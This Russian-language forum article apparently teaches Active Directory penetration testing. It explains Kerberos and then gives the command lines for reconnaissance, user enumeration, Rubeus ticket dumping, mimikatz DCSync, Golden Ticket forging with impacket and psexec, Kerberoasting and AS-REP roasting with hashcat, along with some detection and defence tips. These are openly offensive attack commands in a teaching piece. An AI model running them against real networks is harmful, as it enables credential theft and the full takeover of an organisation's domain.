Загрузка...

Pentest AD - How to break the inside

Thread in Articles created by Палки Jul 29, 2025 at 7:48 AM. (bumped Jul 29, 2025 at 1:25 PM) 349 views

  1. Палки
    Палки Topic starter Jul 29, 2025 at 7:48 AM make testers great again!
    Никакой рекламы, держите лису :fox_jump:

    Приветствую, дорогой читатель!
    В этой статье я расскажу о том, как взламывают и захватывают инфраструктуру, получая полный доступ над всеми серверами.
    Посчитал нужным написать данную статью после инцидента с одноимённой компанией, хотелось бы открыть глаза на безопасность таких вещей.


    Для начала разберёмся, что же такое AD:

    AD (Active Directory) - Служба, разработанная Microsoft, предназначенная для управления данными (доступом к ним), правами и сервисами, а так-же прочими ресурсами в сети.
    Она управляет объектами (серверами, пользователями) в домене.


    Почти всегда, когда вы имеете дело с инфраструктурой, развёрнутой на Windows серверах, вы имеете дело с Active Directory.
    DC (Domain Controller) - Контроллер домена, это сервер, который хранит хеши паролей для всех пользователей домена.

    LDAP (Lightweight Directory Access Protocol) - Один из основных протоколов, используемых в AD.
    Позволяет реализовывать доступ к различным службам каталогов и управления ими.

    Service Principal Name (SPN) - Уникальный идентификатор сервиса, используется для авторизации через Kerberos.
    Он привязывается к учётной записи, с правами которой запускается сервис.

    RPC (Remote Procedure Call) - Это механизм, позволяющий запросить выполнение кода (какой-либо функции) на другом сервере, таким образом, словно эта функция выполняется локально.
    Он используется для создания/удаления групп, пользователей, серверов, это достаточно важная часть AD.

    SMB (Server Message Block) - Это сетевой протокол, реализующий удалённый доступ к различным файлам, принтерам и другим сетевым ресурсам.
    Он позволяет работать с файлами на удалённых серверах, редактировать их, читать и записывать.

    Kerberos - Сетевой протокол, реализующий аутентификацию по билетам - специальным токенам для получения доступа к сервисам в AD.
    Он позволяет авторизовывать пользователей, выдавать билеты, соответственно он является частью KDC.
    > KDC (Key Distribution Center) - Центр распределения ключей. Он отвечает за выдачу билетов пользователям (клиентам), а так-же разграничение доступов к AD сервисам.
    > TGT (Ticket Granting Tickets) - Билет для получения TGS билетов (промежуточная стадия), предоставляет собой сессионный токен с временем жизни как правило не более 10 часов.
    > TGS (Ticket Granting Service) - Билет для непосредственного доступа к конкретному сервису, с учётом прав текущего пользователя (клиента).
    > Silver/Golden Ticket - Подделка TGS билета (путём взлома хеша пароля от SPN), позволяющая выдавать себя за других пользователей.

    Представим, что в компании Example Inc (домен example,com) существует инфраструктура, развёрнутая на Active Directory.
    Она включает Windows сервера PROD1 и PROD2, а вы, как один из её сотрудников (клиент инфраструктуры), имеете учётную запись CLNT.

    Таким образом, вы клиент CLNT, и вы хотите получить доступ к сервису PROD1 в AD.

    Вы должны отправить пакеты центру распределения ключей (KDC) в следующем порядке:
    1 - AS_REQ - в сторону KDC (запрос на получение TGT).
    На этом этапе вы передаёте имя клиента (ваше) и имя службы, к которой хотите получить доступ, а так-же отметку времени.
    Если отметка времени в AS_REQ отличается от текущего времени более чем на 5 минут, запрос не проходит, это сделано в целях безопасности.
    2 - AS_REP - от KDC к вам, в случае успешной аутентификации.
    Этот пакет содержит зашифрованный TGT билет, сессионный ключ, а так-же метку времени и период действия билета.

    На данном этапе вы получаете TGT билет для доступа к сервисам, но для того, чтобы заполучить доступ к конкретному сервису, нужен другой билет:
    3 - TGS_REQ - в сторону KDC (запрос на получение конкретного билета, вы представляетесь клиентом CLNT и сообщаете KDC о том, что хотите получить доступ к сервису PROD1)
    4 - TGS_REP - от KDC к вам, в случае успеха вы получите TGS билет, который обеспечит вам запрашиваемый доступ.

    Таким образом вы заполучили TGS билет для сервиса PROD1. Супер!
    impacket - Набор Python-библиотек с открытым исходным кодом, для работы с сетевыми протоколами AD на низком уровне (своего рода API) [github].
    Поддерживает SMB, RDP, Kerberos, NTLM, LDAP и прочие технологии, является очень полезным инструментом при пентесте Active Directory.

    Kerbrute - Утилита для перебора учётных записей (и их хешей) с отключённой преаутентификацией, часто используется для проведения AS_REP Roasting атак [github].

    Rubeus - Утилита для пентеста Active Directory, имеется в арсенале каждого уважающего себя пентестера.
    Написана на языке C#.
    Здесь я приведу подборку из популярных видов атак и трюков, актуальных для Active Directory.
    Начнём с трюков:
    Для обнаружения Active Directory можно воспользоваться утилитой nmap, или любым удобным сканером портов.
    Основные порты, которые использует AD:
    > 53 - DNS
    > 88 - Kerberos
    > 135 - RPC
    > 139/445 - SMB
    > 389/636 - LDAP
    > 464 - Kerberos Password Change
    > 5985 - WinRM
    > 9389 - WS Management

    Сканирование на примере nmap:
    ⁡nmap -p 53,88,135,139,389,445,464,636,5985,9389 -sS -sV -oA ad-enum <ip>
    Для разведки можно (и нужно) использовать перечисление поддоменов.
    Сделать это можно по словарю, одна из утилит, реализующих такой функционал - gobuster.

    Использование этой утилиты:
    ⁡gobuster dns -d example.com -t 20 -w subdomains.txt


    Пример того, что может быть в выводе:
    www,example,com - Основной домен, продакшн
    dev,example,com / staging,example,com - Какая-то тестовая инфраструктура
    mail,example,com / smtp,example,com / imap,example,com - Почтовый сервер
    jenkins,example,com - CI/CD система
    test-api,example,com - Часть тестовой инфры, какие-то API
    cdn,example,com - Сервис доставки контента (хостинг для медиа)

    В целом всё зависит от того, какую компанию вы тестируете (ну и от размера ваших словарей).

    Так-же можно воспользоваться следующими скриптами nmap:
    ⁡nmap --script dns-*****,dns-nsid,dns-recursion,dns-zone-transfer -p 53 <ip>


    А ещё при помощи скриптов можно узнать AD домен:
    ⁡nmap -p 53 --script dns-nsid,dns-srv-enum <ip>


    Исследуем DNS зоны для получения записей доменов (указывается айпи адрес DC):
    ⁡dig axfr @<ip> <domain>


    Узнаем больше информации о конкретном домене:
    ⁡dig A <domain> @<ip>

    ⁡dig SRV _ldap._tcp.dc._msdcs.<domain> @<ip>


    Получаем все записи:
    ⁡dig ANY <domain_name> @<dns-ip>

    ⁡dnsrecon -d <domain_name> -n <dns-ip> -t axfr

    ⁡dnsenum --enum -f dns.txt --dnsserver <dns-ip> <domain_name>


    Техника DNS Cache Snooping:
    ⁡dig @<dns-ip> -t A +norecurse <target-domain>


    Используем PowerShell:
    ⁡Resolve-DnsName -Name <domain_name> -Server <dns-ip> -DnsOnly
    При помощи вышеупомянутого nmap можно перечислить (обнаружить) LDAP сервисы на серверах:
    ⁡nmap -n -sV --script "ldap* and not *****" -p 389 <ip>


    При помощи утилиты ldapsearch можно узнать больше информации о LDAP сервисе:
    ⁡ldapsearch -x -H ldap://<ip> -b "dc=example,dc=com"
    Для перебора валидных пользователей можно воспользоваться утилитой Kerbrute:
    ⁡kerbrute userenum -d [example].com logins.txt

    Аналогичную задачу решает CrackMapExec:
    ⁡crackmapexec smb [example].com -u '' -p '' --users


    Для перебора всех пользователей AD можно воспользоваться impacket (нужны валидные креды на руках):
    ⁡GetADUsers.py -all -dc-ip <ip> -u <username> -p <password> <example.com>

    Так-же это можно сделать при помощи утилиты Enum4Linux:
    ⁡enum4linux -a -u <username> -p <password> <dc-ip>
    Для этой задачи мы можем снова воспользоваться скриптами nmap.

    Базовая информация о Kerberos:
    ⁡nmap -p 88 --script kerberos-enum-users <ip>


    Проверка на наличие популярных уязвимостей:
    ⁡nmap -p 88 --script kerberos-***** <ip>


    Перечисление SPN:
    ⁡nmap -p 88 --script krb5-enum-useres,krb5-scan <ip>
    А теперь пройдёмся по самим атакам:
    Данная атака позволяет атакующему получить билеты учётной записи (в идеале - с максимальными правами) из скомпрометированной машины, и использовать его в дальнейшем.

    Один из способов получения TGT билетов - дамп из процесса lsass.exe (Local Security Authentication Server), данное действие требует привилегий NT AUTHORITY/SYSTEM на текущей машине.

    Для этой задачи можно воспользоваться утилитой Rubeus.

    Смотрим, какие билеты хранятся на локальной машине:
    ⁡rubeus.exe triage


    В выводе мы увидим таблицу с колонками LUID, UserName, Service и EndTime, а так-же текущий LUID.

    Проверяем наличие прав на машине:
    ⁡whoami


    Убеждаемся в том, что мы NT AUTHORITY/SYSTEM, и дампим билеты с машины:
    ⁡rubeus.exe dump


    Rubeus выгрузит билеты из lsass.exe в формате base64, в последствии их легко можно перекодировать в другой вид (включая .kirbi).

    Полученный билет можно импортировать в текущую сессию:
    ⁡rubeus.exe ptt /ticket:data.kirbi
    Это вид атаки, при которой злоумышленник получает возможность получить хеш сервисной учётной записи krbtgt (пароль в зашифрованном виде), следовательно получая при этом все полномочия в AD инфраструктуре.

    Наличие этого хеша позволяет подделывать абсолютно любые билеты для любых пользователей, потому что с его помощью подписываются все TGT билеты в домене.
    Злоумышленник сможет записать любую информацию в билет, к примеру указать что он является админинистратором домена со всеми вытекающими привилегиями.

    Интересной особенностью является то, что этот хеш практически никогда не меняется, от этого его компрометация становится большой проблемой в безопасности серверов.

    Это обеспечит злоумышленнику беспрепятственный доступ к инфраструктуре, ко всем её сетевым ресурсам, базам данных, серверам и тд - потому что проверка пользователя происходит только на этапе AS_REQ (см. механизм аутентификации в Kerberos).
    Таким образом, злоумышленники могут скрываться в сети годами, оставаясь незамеченными, но всё же способы обнаружить такую атаку существуют.

    Чтобы создать Golden Ticket, необходимо следующее:
    > SPN домена
    > SID домена
    > NTLM хеш учётной записи krbtgt
    > имя пользователя (можно указать любое)

    SID можно узнать при помощи команды Get-ADDomain в powershell:
    ⁡Get-ADDomain


    NTLM хеш можно получить при помощи mimikatz тремя разными способами.
    Используя атаку DCSync:
    ⁡lsadump::dcsync /user:krbtgt

    Используя базу SAM:
    ⁡privilege::debug

    ⁡lsadump::lsa /inject /name:krbtgt

    Используя модуль sekurlsa:
    ⁡sekurlsa::krbtgt


    Первым делом создаём билет:
    ⁡impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain <domain> <username>


    В текущей директории будет создан файл username.ccache, необходимо экспортировать его:
    ⁡export KRB5CCNAME=username.ccache


    Теперь подключаемся к нужному серверу при помощи psexec (часть impacket):
    ⁡psexec.py -k -no-pass <domain>/<username>@<hostname>


    На этом этапе мы получаем удалённый доступ с правами SYSTEM.


    Для того, чтобы защититься от этой атаки, необходимо регулярно проводить аудиты безопасности машин в домене, смотреть **** событий (обращать особое внимание на ID 4624 account logon, 4634 special priveleges assigned to new logon и 4672 admin logon), если эти события содержат пустые поля, это может говорить об успешно проведённой атаке Golden Ticket.
    Так-же внимательно смотрите на запросы TGS - если он был инициирован без предшествующего запроса TGT, это повод насторожиться!
    Эта атака позволяет злоумышленнику выдавать себя за DC, для последующего получения учётных данных, как следствие - позволяя ему перемещаться по сети и получать доступ к конфиденциальной информации.

    Атака основана на механизме репликации данных между контроллерами доменов (за это отвечает протокол MS-DRSR).
    Во время этого процесса между DC передаётся чувствительная информация, а именно хеши паролей (что очевидно, потому что каждый контроллер домена является точкой аутентификации).
    Сама Microsoft рекомендует использовать от 2 и более DC для повышения отказоустойчивости инфраструктуры.

    Для того, чтобы выполнить репликацию данных между DC, вы должны иметь учётную запись с расширенными правами доступа (текст кликабелен):
    > DRS-Replication-Get-Changes 1131f6aa-9c07–11d1-f79f-00c04fc2dcd2
    > DRS-Replication-Get-Changes-All 1131f6ad-9c07–11d1-f79f-00c04fc2dcd2
    > DRS-Replication-Get-Changes-In-Filtered-Set 89e95b76-444d-4c62-991a-0facbeda640c (опционально)

    Такими правами обладают следующие группы:
    > Domain Admin
    > Enterprise Admin
    > Domain Controller

    Проверить у кого (группы/пользователи) есть такие полномочия можно при помощи команды Get-Acl, для этого нужно указать домен и GUID (айди права):
    ⁡(Get-Acl "ad:\dc=<domain>").Access | ? {(.ObjectType -eq "1131f6aa-9c07–11d1-f79f-00c04fc2dcd2")}



    Одним из инструментов для проведения такой атаки является Mimikatz.

    Отправляем запрос контроллеру домена на синхронизацию всех объектов в AD:
    ⁡lsadump::dcsync /all


    Отправляем запрос контроллеру домена на синхронизацию данных конкретной учётной записи:
    ⁡lsadump::dcsync /user:<user>
    Данный вид атаки позволяет захватить сервисную учётную запись при помощи запроса TGS, выставляя себя за этот сервис.
    Затем, полученный билет ****форсится для получения пароля от данной учётки.

    Мы можем использовать impacket для получения SPN:
    ⁡GetUserSPNs.py domain/user:pass -dc-host <host> -request


    Сначала происходит запрос к LDAP с целью обнаружить SPN, затем запрашивается TGS, где мы представляемся одним из полученных SPN.
    Данная команда выведет длинный хеш в формате $krb5tgs$23$SPN$host$domain/user$xxxxxxx.

    ****форс этого хеша можно осуществить через hashcat:
    ⁡hashcat -m 13100 hash.txt wordlist.txt


    В целом, по принципу эта атака схожа с AS-REP Roasting, о ней поговорим немного позже.

    Там же написано о том, что KDC не проверяет пароль у учётной записи с отключённой преаутентификацией Kerberos, а точнее зашифрованную метку времени (она шифруется при помощи пароля учётки), этой метки нет в AS_REQ, полученной от KDC.

    Подобную атаку можно провернуть и при помощи Rubeus (вариант при наличии учётной записи в AD):
    ⁡Rubeus.exe kerberoast /outfile:tgs.txt /domain:<domain> /dc:<DC> /user:<user> /password:<pass> /spn:<SPN>
    В случае, когда предварительная аутентификация (AS_REQ) в Kerberos по какой-то причине отключена, контроллер домена может взять на себя эту роль. и отправить AS_REP (см. как работает Kerberos) пользователю.

    Данная атака направлена на получение хешей паролей для пользователей с отключённой преаутентификацией.
    Учётная запись такого пользователя в AD должна иметь атрибут DONT_REQ_PREAUTH, зачастую криворукие администраторы отключают преаутентификацию для совместимости со старыми системами.

    Злоумышленник отправляет DC (см. начало спойлера) пакет AS_REQ без зашифрованной метки времени.
    Сервер, в свою очередь, не проверяет подлинность пакета, и отправляет ответ AS_REQ c TGT билетом (зашифрованным хешем пароля от учётки krbtgt) и сессионным ключом.

    Злоумышленник извлекает оттуда зашифрованные данные и ****форсит пароль учётной записи, в случае успешной атаки он получит этот пароль в открытом виде.
    Извлечь хеши можно при помощи impacket (скрипт GetNPUsers.py), пример получения хешей в формате John the Ripper:
    ⁡GetNPUsers.py domain/user -no-pass -usersfile users.txt -dc-ip <ip> -format john

    ⁡GetNPUsers.py domain/user -usersfile users.txt -dc-ip <ip>


    Для того, чтобы защититься от этой атаки, необходимо принудительно включить предварительную аутентификацию для учётных записей с DONT_REQ_PREAUTH.
    Если в случае успешной атаки Pass-the-Ticket получится словить TGT билет учётной записи DC, при помощи атаки DCSync станет возможной компрометация NTLM хеша учётной записи krbtgt, создания Golden Ticket и последующего захвата домена.

    Почаще следите за активностью ваших серверов (включая сетевой трафик), грамотно разграничивайте права доступа, используйте сильные пароли, не допускайте глупых мисконфигов, а самое главное - не забывайте вовремя обновляться)

    Надеюсь, данная статья была полезна для вас. До скорых встреч! :animelove:
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
    1. View previous comments (3)
    2. amore
    3. Палки Topic starter
  2. uncpfiae
    сам взломал, сам рассказал, знаем таких :fox_jump:
     
    1. Архистратиг
      uncpfiae, почему форум вчера не падал? подозрительно даже
  3. Палки
    Палки Topic starter Jul 29, 2025 at 10:30 AM make testers great again!
    во избежание наплыва юных хакеров, статья раскрывает темы далеко не полностью (материала слишком много).
    но если у вас возникли дополнительные вопросы и вы хотите глубже разобраться в пентесте AD, смело задавайте их
     
  4. Ivan_vois
    Ivan_vois Jul 29, 2025 at 10:08 PM Серверы для твоего успеха - https://lolz.live/threads/8622733/ 301 Aug 22, 2022
    Очень похоже на усложненную sql инъекцию
     
Top
Loading...